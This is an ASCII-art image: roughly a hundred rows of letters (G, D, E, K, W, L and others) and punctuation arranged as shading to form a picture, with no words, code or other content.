LDGfDDDGDDEEEKEEDEGDDGLfi:,;::::::,::::::::::::::;:;:i:::;:;::::::::;i:;,;:i:ii,;i:::,,::::,;::::,::::::;,:i:i;,;:,::::::,:::\ni:,;,,:::,:::::,::,::,:,;;,;i:i::;,:::::::,::,;,;i;ifLDGGDEKEDEEEKKDEDKEKEEDDDGfi;,::::::::::::::::::::::::::::::::::::::::::,:;:i;;i:;,;,,;::;:;:::::::::::;::,;i:;::;,,;:;;:i:;:::\ni:,;::::::::::::;::::,:::;:i::;,,:,:::::::;:,;iiifGGGDGDEEDKEKEEWW#WKKEWKEW#KKEGj;i;,::::::::::::::::::::.::..::.::...: ::::::,;:;:,;i:i:;::;::;:;:::::::::::::,;;:;:::i,:;:,:::::::\n:;;,::,:;:,::::::,::::,;,:::;,:;;:;:::::::::;,jjfGDGDGGGEDEEKKK#KWK#E#WWW#KWEWEDffii:;::::::.:::::::::::...;;:ijiii:::: :::::;:,:i,:;::;:::,:,::::::::::::,::::::::,::;:::::::::::::\n,::;,::::::::::::::::::::::i:;:::,:,::::.:;,iifffffDGGfLDEKKWK#WKEEWWWEWKKWWWWKKDGGi;,::::::::::::::.:.:;:;;;jLfGGfji;:::::.:::;::;;,:::;,;::;::;:::::::::;::::;:;:;::::::;:::i:::::\n::;::::::::::.:::::::::::::;:::::::,::::::i,ififLDGDDDDEKWEWWK##KWEWWWWKKKWKWWKWWKDGfi;::::::..:::::;,;ijLGjjjtjLGDDGDGGGi::::::::;:::::::::;::;,::::.:::::::::;::,:::;:::::::::::::\n:;:::::::::::.:::::::::::;:::,:;::;::::.::ijtGDGDDDDDEEKWWWKWWWWE##KK##KKWKWK#KWK#EGfii:::: :::::::::iiifLGGGGjjtGGEDGEGDj;;:::;:::;::::;::::::,;:::::::::::::::::;::::::::;:,;:::::\n:::;:::::::.::.:::::::::;:::::::::,::::::ifDGDKEKEDELDKKEKEK#WW#K#WWWWWEWWKK#KK#KKKGGi;::::::.:.::.:;ijfGGGEEDGGtjGGKDDEDG;;:.::::::::::::::::::::::::::::::::::::::;:::::::::::::::\n:::::::::::::::::::::::::::::::::::::::;ifDEDDD#GDEDEWWKEW#W#E#WWWKKWKWWKK#EWK#KEKGjii;:::::::: ::iiLGDGKKKKKDKKEjjGEDKEEjjGfj;:::::::::;:;:::::::::.:::::::::::;:;:::.:::::::::::::\n::::::::::::::::::::::::::;::::::::::::iiGKKDGEWEKEWWK#K#KWK#WW#KW#WK#WWKWKWK#KKKDj,;:::::... :::i;jGGDEEKDKKKKKKGjjGEKKDjGGGjf::::;::::::::::::::.::.::::::.::.:.::.:::::::::::::::\n:::::::::.::: ::::::::::;,::;::::::::,;ifLEKEEDEK#KKKWE#WW##KWWK##KK#KWWKKKWEGKGGi:;::::.::.:::::ifGGGEKKKEKDKWKEGLjGD#EKGGGGGG;:.::::::::::::::::::::..::::::::::::::::::::::::::::\n:::.::: :::.:::::::::::,::::::::::::i;ifGDEKKEEKKK#KK#KWWWKWWW##EWW#E#WEWEWEEDGjLi::::::::.: .:;ijjLGEGDGGEKGEKK#KGGGKKWEDEKDGGi;::::::::::::::::.:..:..:..::.::.:.:::::::::::::.::.\n:::::.::::.::::::.:::::::::::.:.::::iifGGDK#EWEKEWK#E#WKWWWKWKWWWKKKK#WEWDGGGLit;;:...:::. :.:;ijLjjjjLGGEEKDEEDGEKDGGEDKKKEEGGi;::: :...:: :::. : ::.::..:::..: .::.::..:::::..:.:.\n::::::.::.::: :.::::::::::::..:.: ::iiGGDEEWKKKKEE#K#KWWWWW#K#EW#KWW#KWEKEGfLf;;;;;: ::: ::::ijLGjtjLLGGKEEEEEDKEDKDEGGGKKEKKDGj;;:;;::::..:....:.: ...:..:....:::...:..:.....::.::.\n:::.:.:::.: ::.:::::.::.::..:: :::::iLGDGDKWKE#KK#WWEKWWWWWKWWWEWWWWKKKKKDDfjj;;,,..:...:.::;jGjjjjLGKEEGEKDDEGDDGGGGfLjGKKEEKGjj;;,;;: :.:.:::...:. :....::.. : ..:::::..::::  ::::\n.:..:..:: : ..:::: :..:: :....: .::ijGDKDGEWEW#EW#EWKWWWWWWKWWWEWKK#KWKKEDGGi;;;,,::.:.: ::;i;t;LEGGDGEGKEGGGLjiji;j;;;;tjGGEKDGjt;.:.:: :: ::.:: :  :.......:..:: :.:.:...:.:...::.\n..: ::..: :..::...: :.: :: :::..:::ifLGEKEKEK##WWK##KKWWWKKKWWK#K#KKKWKWKEKGti;:.:.,.:. : ;ij;;jGGGLGEGGDEGLjj;t;;;;;;;;;;tjGEDGjt;:.. ;:..........::..:.......:  :... :..: ... :...\n..... :  : :.. :.: .: .:  :.. ::::;ifGEEKKE#KKWWWEWK#K#K#K##EWKEWKWWWW#EEEDGi;;;.:.:..:: :;ijitGGLLGEGEKGGGjj;;;;;;,;.;;:;;;LGKEGt;.: :. :..:: ::. :. :... .... :.....: : :::.....::\n :......:. ..: ...::..: ::.....:::;iDEEWEKKKKKKK#WK#KWKW#K##EWWWKW#EKEKWKKEDGj;;;.::.,: ;;ii;jjGGLGGDKGGjLjji;;;,::,:.;:,::,;tjGGLL;................:... :  .:: ::....:..: :: :.....\n.  .::..: : . : :..: :..:: :..:.:::iGDKKKK#KK##E##WWWW#KWW#WK#EKWWKKKEEWEKGEGj;,.:...,..::;;jjLGLGLGEGLGLjjtjt;;;;;.;;.::,:.,;iGDGG;;..............  :..: ::.. :.. : : .: :. :  :..:\n.::..: :..:... ...:: :: :: :  : ::,iGDEEKEK#EWKW#WW#KWK#KWWWWWKEWKKEWDDDKKKDGGi;.:.:,.;::;;itLGLfLGGGGGjjjt;i;;;.;,,::,:...::,;LGGGL;:: .. : ....... : : :....: :: .. :.....: :: ::\n :..::.::.: . :: :  :.....: :: :::ijDGDWEKWWK#KWWW#K#WW#WW#WWWKK#KWKEKKKDKEEGGj;.:...:.,:;;;jLjGLLGKELjLjjt;t;;;,,;:.:.:..:..:.iGGGLj:.:..... :  : ::..... ... :.:......: :  :  :  :\n.. :  :..: :. ::. :.......: :: :::;fGDDDEWKWW##WW#KWWWWWWWWWWE#KWKEWEKEKGDEDGGj;:.:..:.,;i;jjGGLLDKEGLjjjtjt;;;,,;,:..:.:.:.:.:;;LGt;j:.: ..  :....:: :: : : . : . :  :.: :.: :.: .:\n. : .... .:  :  : :.....:......:::ijfDEEWKK#K##K#WW#KWWEWEWWWWWKWEWKEKGGDGEGGjj;.:..:.,;jEitiGGLjGKELjjtijii;;;,;..;:.:.::.:.:..;jGjtt.::  :....: :  :.: :.: ::...... ::......:.:.:.\n:  :  .........: :  :  :  : :...::itGDDKEW#KWKW#KWWWEE##WWKWEWEK#KKEKKDGKGGGGf;,:..:..;jGK;jLGLGGEKEjLjtt;j;;;;,,,::::.;..:...::.jGLj;j ::: :: :: :  : ......:: :: :.:....:.: :.:.:.\n:  ...................: :....:...:;fGDDKEKWEW##W##KWWWW#WW#K#KWK#KKKDKGfGGGGLj;::..:.;ijjjjGGGGDKKEGjLjjLjjji;;;;,;.::.:..:....:.;fGLijj.:: ::.::.... :: :  :  :  :..:.. : ::..:..:\n ....: :.............:: ...:..:  :ijGDKEWWWWWEK#KK#WWWKWE#KKWWK#KWDEGGGGfjGji;...:..;;;;;iLjGLGKKKGLLjLLGGLLLj;;:;:.;:..::.::....:jDLijj.:............. :..: :: :: :.......:: :: ::.\n:  :  ..: .. :  : :: :: ::. :: :: ;fGDEDEWWWKWWWWWWW#WK##WKWWK#KKEDKEDGfGfjL;;.:.,:.:;...;GLLGDDKEGLGLGGLjfjfLj;;;;,..::.:.::.:...jKLt;j;.................. .. : .........: .....::\n :...: :: .. :  : ....: .. ... :: ;fLGDDEKWWKKWWW#K#E#KKWKWKWK#EKEDEGDGGGjji..:.::;.:.:..;LGLGKKELLjjjttt;;;;;;;;;,;..:.:;;;i;::..;KGj;;j; :  : .. :: .. :  .  .. . .. :: . ..  ..:\n ..    . : .. :: :  .. : ....: . :;ffDGEK#K#K#WW##WWWW#KWWWK#KWWEKGDDGfGfjj;.:...:..:..:;jGGGEWKGLfLjtjtttij;.;;;;;.:.::;;;iji;:..;KGf;;;; .. : ...  .... .: . ..: : ..  : :: :... :\n.  .. ... .... . .  .... .  :: :. :LGDDDEK#WE##WW#K#KK#EWWW#KKWKEKDDGDjGfij;.::...::..:;j;iLEDKKGjLjjjtjjLLGLj.;;;;;..:.,:;;;t;j::.EGj;;;;: .:   .. . : ..   ..    : . :. ....... .\n . . . .: ... . . :. . :  ..  . ..;jGDGDKKKKKWK#WKW#EK#WKK#KWWWKEDDGGGjGjjtj,:...:.;..:;;;;;GKKGLLtjjtjjGGEEKD;.,;;;.:.;;,;,:::;;.:DGL;;;;...... : ..   : .:  : : : ...  : .. :.....\n : .  :  . :..  : . ... : .  .. ...iGDGDEKKWE##EWWK#K#KWWKKKWWWEDDDGGGjGfjji;::.:.....::,..:,DKLjtjttLLGELiiEGG;;i;;.:,;;;;jjj;: :.GGj;;;;... .. : .. : : .. .... :   :  : .. :....:\n. : .  ....   :.. ...  . . :   . . ;GEGDDEE#KWW#KWKK#WE##K#K#KKDKGEGGGGjjjjj;:.,..:.:....;,:,;EGLjtjjjjLLLLjLGK;;;;,: ;;;jGDWKG;. .Gjt:,:;: .:   ... : .. : : .   .... :: .........\n .  ... :  . .  : .. .. ..   : . : :GGDEDEWKKWWWEWWKKWWEWWEWKKKDGGGGGjjGjjji;:;:::....::.,:.;;jGLtjttjtjtj;;;;j;;t;;..;;;jiifDW;:.:Ei; :.; :  : .. .. :.........:... ..  : :... : .:\n .. ... . ..  : :   .   .... . .: ..GDGEEKKK#KKKKWWWW#KWWWKEWKKGLL...;jjfjji;,;::.:.. ...:;:;;,;Gtjtj;j;;;;;;;;;jtt;:.:.;;itjjLL; .L::..;...  : .. :: .. :  : ..........: :  : ....:\n. . . ..: .... . ........ .... :....LKLKDKKKWWWWWEWWWK#W#WKKKEELL;:;..,;jjjt;;.;.:.:.:....:;;;;iLjtjiti;;;;,,.;;tji;;:.:;t;;;.;;;..j:. .:. :  :  .....  : .. ..... : ..  : :: :...:\n .. . ... .. : .. :. :: .... ...: :.iGGDEKKWEWWWKWWKWWK#EWKWEKGLt,tt...;;jjj;;:;;:... :. .;;,;;jGjttti;;,,,;.;;ijtt;...:;;;;;..:. .j:  :; .... . ...: ...... : .. : :: :: .::..: ::\n . : . . : .. :: ..: :: :: .. : ....;jGGDKDKKKWKKK#KWWWWK#KKGLLtt,tj,..:;;;;;;:,,:,:.. . ..;,;LKLttjt;t,.:,;:,;ttjt;:...:,.:.:.: . j: .:.  :  : .... :  : :: .. ......:  : :: :..::\n. . ....: : : . : :..  : ....: :: :.:;fGDKDEWWKWEEWK#KWWWWKEGGjf;,ti:,...;;;;;;;:,:..:..:..,;jKELjttt;;;;,,,.;;jtj;;::....:,,:...:.j:..:.. .  .. : .. :: : ........: : ::....:  :  :\n :.......  :...:  :..   :...... ....::iGEEEKEKKWKWKWWK#KEWWELjLj;,,,j;.:.,;;;:,::;:.:......;;KKGLtttt;,;,.;,;:;jjj;;.....:.::... . f;..: ::.........: :: .......: :.:.:: :.......::\n. .... .....: .. :  :  :  : ..... : .::GGDKEDWWEWK#EWWWK#KWGLjjf;;.tLL. ..;;;;;:;:,:...:. .,jEWGLtttt;;;,;:..;tjLj;;:.:...,:.:..: .ii.:.......... :  :  : :: :: :::.::.::.....::.. :\n.......  : . .....  ..: ..:..... .: .:.iGGKKKKKKK#EW##K#WWKGLjtLt,.;ff; .:.;;;;;;:;;:..:.:.:,LEELtjti;;,,::.;ttjtj;,:...;,:::.: . .i;;:::.::.:...:....::: : :::..:.::::..: :..:: :.:\n..: :: :: ... :...  :  :...:..:::..:...;DGEKKEWWWKWWWWWKKKKLjjLfj;.,;t;.:.;,,;,:;.,:,,...::,:jDELtttt;;;:,.;;Ljtjj;;..:.;;.... :.. ;;;::.:.....:..:.:.: :: : ::..::::::::.:.::.::...\n.: :::...................:.:..: : :..:.:jGDEEWWKKK#K##W#WWKLjjjtjt....;..;.;;;;;;.,,..,.:...,;GELtjtt;,;,,:;;jjLLLj;,;..;,,:..: : :;:;:::::::.:.:..:.: :.::::..::.::.::.:.::.::::.::\n::::::.:.:.......:.: :.:.:::::::.:...:::.;GDDEKEWKWW#WW#KKKLLjtjtj;....:,,;;;;;;;.,,:.......;;LKLtjtt;;,,;;it;tiij;.:;: ,;;,..:.: .:.:;.::::...::.:....::.:.:::...: : :..: ::.::...:\n::::::.:: :::: ...:.:.:.. :::.:..:.:.....:LGEDWWWWW#KWKWKEEjjtjjjLt;.. .;;;;;,:,::::..::..:.:jKELttt;;;;:;;ttt;t;;:,:...:;;;.:.. .:::..::  ::.::.:.:::...: .: :.:..:.:.::.:..:::.:..\n.::.:.: ::: : : :.:.:.:..::...::: :.:..:.:LGDDE#WWW##WWWKKGLjjtttjLt;:.:,;,;;;;,,;:::.:..:.:,LGEGjttt;;;;t;tj;ttt;;...:.:;;,:.... :...;..::: : :: : ...::.:: :....:....:.: :.:  :...\n....: : .: :.:...:..: : :::....:: ::..:: :jDWKWWWEWWWWKKDDGjtjttit;;;;;;tt;t;;;,;:,.:.. :..:,;LGLttjt;;,;tLLDDDGGDLff;..::;;:..:. ..: .: :..::: ... ..:: : ...: ::........ :: :.: ..\n.....:.:: :.: :...:: ::.. : :..:: : ..::..fKWWKWWWKEKKKEDGGjji;;t;;;,;;;;ttt;;;;.;....:..:,,;tGLLtit;;;.;tGELLLGLfffLjt,.;;,..:. ::...;... :   :: :. :.: ::: :............:  : .....\n :: :....: :.: ..:  :.....: :: ::.........iEWWWKWWKKKEKEGGGj;jt;i;,,:.;tijt;;;;;;.;.:..:...,:tGLjtti;;,;;;LGLjt;;;t;ffft;;,;:.... :: :: : ....:  : .: ....  : ............ :: :: ::\n:  :  :  :.........: ::...................;GKWEKEKEKEGGGGGjjti;;;;,,.;;;tttjt;;;,:...:...,:;;;LLtjttt;;.;;;DGL,;:...:tfLf;;:..: ..  : :...............:: :  : ...........: :: :: ::\n :: ::.. ::  :  : :: :: :: :  :  : :: :...:iDKGGGGGGGLGjjjjti;i;,,;:;:,;jjttti;;,,,..:..,:,,;:.;jtttt;;,;;itLDGLfft,,,Lft;;,.... :  :. : .. . :  : :...: .  .. :  : :: :: :  :  :  :\n........: .....: :  :  :  ...: :: :  :  :  :LGGGGGGGLLjjjtj;jt;;,;,,.,;;tjtjt;;;;;:,::..::,:,:..;;;i;;;;;;ttjfGDLffjjjjt,;,;:.:.: .. : : .. :: :: ....  : : : : :: .. :  : .. :...:\n :: :: ::.....: : :: :: :: : .......: :: :: ;i;ijjjjjjjj;jtt;i;;,,::,.;;;jjiit;;;,,:..,.,.:;,...:;tiit;;;;;itjfGGLffjti..;;..... .. :. ...: . :  .. ..   :  .. .........: .. : .....\n :: :: :: :  :  : :...: ... :: :: :  :  :  . ::.:,:i::::::;t;;;,,;;::,,:;itjitit;;;;,:,:,,:,;  :..:,;ti;;t;;;;;,;;;,;....;.:..... ::   : .. :: :: :.. :: ... : : .. :..  .....  ....\n:  .......... :: :  : ..........: .. :  .. :..::i;,:;::::.:;;;;,;:::..:.,;;ttt;;;;,;;;:,,,,,, : ...:;t;jiit;;;;;;;,;...:.:..: .: .. :.. ..: :........... .  : .. ....... : :: :: ::\n :: :.......... : :: :: :...  .. : :: :: :itfGDGffjii;::.:. ::;;.;:,:.,::,;;tittt;;;;;;,,,:;.. : ...;;ti;t;;;,,:.::.:: .:.:.... ...: :: :  ..: .. .... ..... :: ::  :... :   : :   :\n .: ...... :: :: .......  ..  .. : :...:ifLDDDWDWWEWKWKWEDf;. : .;:::.,.,;,;;;;t;;;;;;;;;;. . : ..:.:.;;tit;;;:,:..... :.... :  : :: : : . :   : : :..... :..  : .. . :  ...: :.. ..\n :..  .. : :... ..... ....... .. .. .. ;tfGGDEEEKWK#W#KWWKKEGf:.. :,.:...:::;;;:..  ...: ...... .:. ..:;;itt;;:;.::.::. :...: . ..   .. .  ........ . :: ..: .. : : :: .. : .... ::\n . : ..... .. ... . ..... :  .. .. : : iffDDDDDWKKWWKEWWEW#KKKKi...:::,.::;,,:. .. ...  .. ..: ...:.:::;;;;jit;;:;.: ......  ..: ..: ... :..   : : :: ....  : : .. .....:  : : : . .\n..: . : . .........: :.. ..... :: ..: :jffLDEDEEKKKK##WWKKEEKKEDL: ..:,:::.::; :: :.. :..  ... . :.:.:,,;;;itj;;;.:.....:: .. :... ... ..   : :  :  : . .....  : ....: : : :: .. ..\n . ....  ...: . :   ... .... . . ....ijLfLGDDDDKKWWWWKWKKKWEKWEEEKD: ..,.:.::. :..  :.:.. ..  :  :.::.;.;;iititt;;;;:::... :.........  :   :  .....  : : .. :  .... :..  : .... : .\n .. ...  ... : .... : : .. .....: : itjfGDDDEEEKKKWEW#KWWKKWEWEEKDDGi :.::,: .. .... . . : :   : .::.::;;tttjttiti;:;.....    :.. . : . ..  : :   : ......  : : :: :   :.... ......\n..: : .. :   : .  ::   : . :  :   ..fLfDDDDEEDKDEEKKKWWWKWWWEWEEEEEEDj..::.;:  ::  . :  .  : .. :.:.:.;;;titjtit;;:;:...:.... :....: .... ...:  : : .   : ...  : .. ... ...  .... .\n ....... . ....:  :: . :  : . :   : tGfDDEWEWEWWW##WW###W###K#KKEEEEDEf:.,:   : .. ...  .. : ....:.,:,:;;tit;t;,,,.,...... .:    .... . : . .: . .  . . :  ...: . :   ... ... . . .\n .. :: :: : . . : .... .........:  :ifffDDEEWEK#KEW#WK#WWWW#W#WWEKEEEEKf.:.  : . :   : . .. ..  . :,:;;;jttt;;;;,::....:. :  : : .. : . ... ... . :  ... ..  .  .. : .. . ..... .. .\n........ : .. :. : . ....: ........:ffffGLDDDKKKWK#E##W##W#W####WKWDEEEEf ..: ... :.. .. : ... : ..::.;;;j;;i;;:;::.::....    .  ........ : . ... ........ : .... . .. :...  . . ..\n .. ::   : .... ... .  .. : :: .:iiffffGDGDDEDKKKK#KK#WWK#KK#KKEW##WKDWDEi.... .... ... .....  : ...:,;;tti;i;;,;.:.,::.:,:.  :. : .......: .. :...  : ....:   :  : :: .. :  :  .\n....  : ....: ... .: :..   : .::tifDGLfGDDDGDDWEWKWKWWWWWWK#WK#WEKK##KDEWEi  : :.. .. :...: .:  ...,;;;;iti;;;;,.;:..:.:::::..  : ::..: :  :  : ..... : : .........:. :...... ::..:.\n..: :... ....... ........... iiiitfEDDDfGDGGDDEEWWWWWWKKWWWK#KKEWEEED#WEDDG: .... :: : ....... : . ,;;;;j;t;t;;,;..:::..:.;....: : ... : .. :: ....::..: :  .....: : ....:.  : . ..\n... :: :: : ......:: :...: :ititifLDGDfLGDfGLDWEWWKKK#EWK#KKKK#KKKKEKDWKEDDf.............  :  : . :;;;;tt;tt;;;:,..;..::.;.;;.:: .:::..::. :..:.:.....:..:. :.....::..:::...::.:: ..\n ::.:: ::... :. :....:...:tDLifjtfDEDGGDDffffDKWEEWEWWEWWEWWEKKWKKEWEKEDEEDG:.: .:::....:::.:.: . .;t;ttt;ttt;;:;..,.:.,.:;;;;;.:. ::..::.:.:::::.::::::::::..:::.::.::::::.:.::.::.\n: .:  : .:::.:.:: :: :: :iDDfifffGDEDLLDLLffLDKEKKEWEEWEKEKKKWKKWEKWEWWEKDDLL..:: :..::::.:: .:  . ;t;itt;tt;t;;,;,,.,,,:,;,;,;;;::   ::::: ::..:::..:::.::.::.:.::::.:.:.::::::::::\n.: :::.::: .:.: ::..:.:;iGDLtfffLDGDfLGLGLffGDKEKEWEEEDEKKKKKKEEWWKK#KKKKEDDLfff;::.::.:.:.::: :  .;;ti;ijit;;;,;:.,..,:;;;;;,;;:;::.. :.:::.::.::::::.:::::::::::.:.:::.::::.::.:::\n.:.:..::::.::::::.:.::tfGGfftDffLDfDGfffLLfDKEEDEEDKEKKKKKKEWEKWKKEWEWWEWKEKDDLDi::::::.::::: . . .;;;;i;j;;t;;;;..:.::;;;;;;;i;;:.. :..     .:::::::;::::;;:::::;:;:;:::;:;::;;::;:\n:.:::::.:.::::.:.:::iitDfGfGfLffGLDDfLGGffDEDKEDEEWKKWEWWEDWEKKKKKKKKKKKKWEEEDDLi::;::::::::. .....:;;t;;titit;,,,;.;,;,;;;;;t;;;::.:..::.::.  ::;::;::;i;,:ii;i;i:i:::;;:::;:::;,,;\n:::.:::::::.:::.:::iitfDfGDfDDfffDGDLDLLLGKDKEKEEKKKKKKKKKEEKKKK#KWKKEEKKEWEDEDLLi;:;:;:;::: . .  .,;;;;j;tt;;;;;;:;::;;;;;;;;;.:;::.:::;;;:::..;,:ii,i,;iiii,iiiii:i:i::i:;i:ii;iii\n;iii;;:;;:;::;:iiiijffKffGfLWGfLDGDLLDGDDEEEEDWEKKKKKKK#EKKKWE##WKKKKKKKEKDEDEWEEDDii;i::  : : .: :,;;;;j;t;;t;;:;;;;:;:;,;;;;;;;;:;,:;;;;::::.:.::ii:i,;,;;i:,i::i:i;,;:i:::;,,;ii,\n,;,;,,ii;,;,,:iiittttGDtGDfD#LLGLDfDLDGDEEDEDWEWEKKKKKKEEKDKKKKEWW#KKWKEWDKKKWEWWEEEGt:     :...:. ;;;;;;jtt;;;:;;;;,;;;;,;;;;;j;:,,:;,;;;;,::.:: :::;:;;;::,;;:i;,;:::,:::;::,:i::;\niiii;;;;:i,;;iG,itiffWLfDLDWEDfLGDDLDDDEKKEEEEEKKKKKKKKKEWEKKKKWKKKKKWWEEKKK#EWEEKDEEDG . ...:.:. :,;;;;t;;;;;,;;;;;;;;,;;;;itj;;;:;;;;;;;::....:  ::,;::,;:;::;::::::;:::::;::::;i:\n;,,;;,;ii:i:LEttijffDWffDDDWWDGLGDfDGDEEDEEEKEEWEKEWEKKKWEWWEWEE#WWEWEEWEKE#EWEKDEEDEDEi. ...::;:..;;;;t;;;;;;,;;;;;;;;;;;;;tij;;:;;,;i;;;;.:.:. .: ::::;:::::::::;::::::::::::;::::\n:::::::::::jGiittffDKWtLDEWKKDLDLLDLGDDEEDDKKEKEWWEWEKKKWEWWEWKWW#KWKKEKK#KKEWEWDEEDWDKEDj::..: : ;,;t;;;;;;;;;;;;;i;;;;;;;;;j;;,:;;;;;i;;,:..:.: : ::::::::::::::::::::::::::::::::\n::::::::::tKjijtffjE#EffDKKKDDGfGLGLDDEKDEDEKKWEWEWEWWEKKKKW#E##KWEWKKEWWEWEKEEEKKEKDEDEED.:::.:.:;;;;:.;;t;;;;;;it;;;;;;i;it;;:;;,;;;;;,;:.:.. . . :::::::::::::::::::.:::::::::.:.\n::::::::::D#iftffffWWDfGDKKKEDLDLLLLLDDDEEEWEKKEWWEWEKKKKKKKKW#WWKKKKKEWKEWEKKKKEEEKDEEDED::....:,;;;,:;;t;;t;;i;;;i;;;;;;;;j;;,;,;;;i;;;;;.::... : :::::::::::.:::.:.::::...::.:...\n:::.:::::EKfffjfffGWWLjDDEWDEDGfLLGGGDDDEEKKEWWEWWEWEKKEEWEWW#KWWKKKWEWWKWEKKKEKEEDEDKEKDED;..;::.;,,;;;t;;;;;;;;;;;;;;;;;;;;;;;;:;;;i;;,;:.::.. . .:.::::::::::::::::.::.:..::::::.\n..:.:.:.jWGfffffjfD#DDfDEKKEEDLDLLGLDDEDEKDEKKWKEEWEWWEWKKKKK#W#EWKWEWWK#WKKEKEEEEEEKDEDEDDt ::.;;,;:;;;;;;;;;;;;;;i;;;;;;;;,;,;:;;;i;;;;,.:.. :.:. :::.:::.:...:..:::.::.::::::..:.\n:::.:::.DKfGfffffLEWDDfDEKKEEGfDLDLGDDEEKDKKDWWEWWWWKKWEE#W#WK#WWWWKK##EWWEKKKEKEEEDEKEKDEED:..;:;;,;;;;;;;;;;;;;;;;;;;;;;;,;;;;;;;;;;;;,;:.:.:  ....:::: ::::::::::::::::::::::::.:\n:::.::::WfDLLffDfGKEDDfDEEWEDGDDDGGLDEDEEKKKEKKEWWEWWEWEEW#E#WEWWWKWWWKKKEKKKEDKKEWDEKDDEEEDG,::,:;,;;;;;:;;,;;;;,;:;;;,;:;,;;;;;i;;;i;;;,:.::. .....::.:..::::.::::::::;::;:;:;::::\n: :::: iELDDfffGfDWDGEfDDEDKEDLDDfDDDEDKEDEDKKKKWE#KWWWW#KK#WE#WW#KK#E#EWWEWKKKKKDEEKDEEDKDED::;:i;;;;,;:;::;;;,;;,;;;:;;;;;;;;;;;;;i;;,:,.:...... .::.:::..:..:::::::;;:;,;i:i,;i;:\n:::.:::fGDDDGffLjD#GDEfDDDKEDGDDLDGLEEEDKEDKKKKKKKKKKWEWWK#E#KK#WKW#KWKWEKKKKKKEKKKKEKDDEDDDD.:;GG;;:;;::;::;:;;:;;;;;;,;;;;;i;;i;;j;;;;;::.:: .. ..:.:.:.::::::.:::;;iiii;i;i;;i;i;\n.:::...DGDEWLtGffD#LDDfGEEDEDLDDDfDDDEDKDEEKKEEWKKWE#WKKKWEWKK#K#W#K#W#K#WKKEWEWKEDDKDKEEDEDE::jWG;;;;:;,:;;,;;:;;:,;,;;;i;ii;;;;;i;i;;:.:... :  : ...:..::..::::::;:iiiiiiiiiiiii;i\n:.::..fWDKKKLfDtLKWLKDfDDDDDGLDDDGDDEWEDEKEWEKKKKE#EWWKWKWWKKKW#KEWK#KWW##KKKKKDKDEEEEEDEDDDD::;;it;;:;:;;::;;;;;:;,;;;;;;;;tji;;;iti;;:...: ...... ....: ::......::;;iiitijiiiii;i;\n.:::.:GWEKKKDfDiDEWGKKfGDEDDEGDDDGDEKDEKKDKEEWWKKKKWEK#KWWKWWWWW#KWWWKWKKKKKEWEKKEWKKEKEKDDED;:::;;;;:;:::;;;,;:;;;;;;;;;i;;;jji;iti;;:;;::.:..  . ...:...: :.:.:::::iiiiiiii;iiii;i\n:...:iKDEW#ELDDiDWEDEKfDDGDEEDDDDDDEEEKEDKKEWEWKWWKKW#EWWWKKWE##KWEWWWWW#WWKKKKKKEDEEDEKDEEDDi.:;;;;:;:;;:;;,;:;;;;;i;;;;;;;tLjj;;;t;;;::.. . : ...:: ::....:  :.:.;:i;iiii;ii;;iii;\n.....fWLW#WEDDDjDKDKKKfDEDEWDDDEEEKDEEKEDWKKK##EWWKKWW#WWKKKWW#WK#WKWW#KWWWWWEKKKKEKDEDKDEKDE;:;::;:::;:;:;;;:;;;;;;;;;;;,;;jLj;;i;i;;;,.:...: : :.::..: : ....:.::::;iiiii;i;ii;i,;\n:..: GWLWWW#DDLfDDLKKKLGDEDEDEDDEDEKKDEWDEWEWKK#K#KWWWK#KKKKWWWEWWK#WKKK#KKEEKKKKDEEKDKEDEEDEi;:;;:;:;:;:;;;;;;;;i;i;;;;;;;;jGji;ti;;;,,:...:. .. .. :  :.::......:::;iii;iii;i;i,i;\n :..:DEDW#WELEffDDDWKKfDEEDKDGEDDWDKDKEEWEEWE#KKWWK#W#WWWEK#W#WK#KKK#KWEWWEWWKKKKKKEKEDEKDDDEj::;:;:;:;:;;;tLGGGLL;;;;;;:;,;LLLti;t;;;;:.:.. : :...::..: : t,....:::;:i;ii;i;,;i;i;,\n :...EEK##WEDDfLDEEW#DfDEEKDGDDDDKDEDKEDKWWWWKKKKE#WEW#EEKEWWW#K#W#KKWKKKKWEWKKKKKEKEEEEEDDEDj;:;:::;,tLEEEEEEKEKEDj;;;:;;;;ELj;i;t;;,:.:... : . .:::....,D,: ...:::;ii,ii;,;,ii;i,:\n: ..iWDE#K##EDffGDKKWELDDDEDDDEDKDEKKEEKKEEWWK#WW#KW#WW#WEKW#K#WWWWK#W#WEKKWKK#KKKEEEDEEEDEDEi:;::,;fGEEEEEEEEEEEEEDG;;;;;;;GGjtti;;;;;:.:: : : .... : .,jD..::...:::,;ii:iiii;:iii;\n : iEDEWW#WEEDjfDEE#EDfDDEDGDDEDDKEDKEWWEWWEWKKEWK#WWW#WEKW#K#W#W##KK#EWWWWK#WEWWEKEDEDDEWEEGj;::;jLEEEEEEEEDDEEKWEEEf,;,;;;GLjt;;i;;,:.:. .  .  :.::..,iDL :  : :::;ii;i;i:;,iii;;,\n::iWWWEE#K#WDLfLEDKK#DGGDDGDEDEDKEEKKKKKWWKK#KWW##WWW#KWKK#W#W#W#KWW#EWKWWKWWE#KKEKDEEDEDEDEDi;,tLLDEEEEEEDEDEDEEKKEEDEf;;;iELjij;;,;;,:.::..: :: : . ;ijG, :  :..:::i;,,;ii;i;,;ii;\n :W#KWEEW##WKLfGDKKEWDLDDDDEDDEEKDKDKKKWKWKWWWE#KK#W#WWWWWWW#KWWWWWWWWE#WWWWK#K#KKEEDEKEEEKDEffLGEEEEEEEDEDDDDDDEEWKKEEDDf;fDjtiti;;:;.:...:. .  ...:iijDi. : . ::::;ii;i;i;i;,i,;i:\n:f##DWDWWWWKELfGDWWWEELDELDDEEWEDEKKWWWKWKKWKKWEWK#K##EKWW##K#EW#WEWWWWKK#KWKKWEKEKEEEEKEDEKDLDEEEEEEEKDDDDDDDDDDEEKEEEDDELLGLjt;;;:,::.:.. ..: ....,ijDf....  : :.::;iiiii,ii;;iii;\niEW#DWEEW##KDDfDEKKWKDLDDGDEDWEDKEWE#WKKWEKKKEWW#W#W##WKW#W#KWK#E##W#WW#WWWWWW#WKEDWDKEDWEEDEDDEDEEEDEDEEDDDDDDDDDEKKKKEDEEKLjj;i;;;;::.:..... : ::.jijDj.: :.: :::::i:ii:i;;iiiiii:\nEWW#D#EEW#WWDDfDEKKWEDfDDDEDEWDEEKKKK#WKWKKKKKWWW#W#K#KWW#WWE#EWWW#E#W#WKWWWWKKKDEKEEKDDEEDWEDEEEEEEEDDEDDDDDDDDDDEEKKWKEDDWLjt;;;,;:,.:..... :.:.,tijLf. 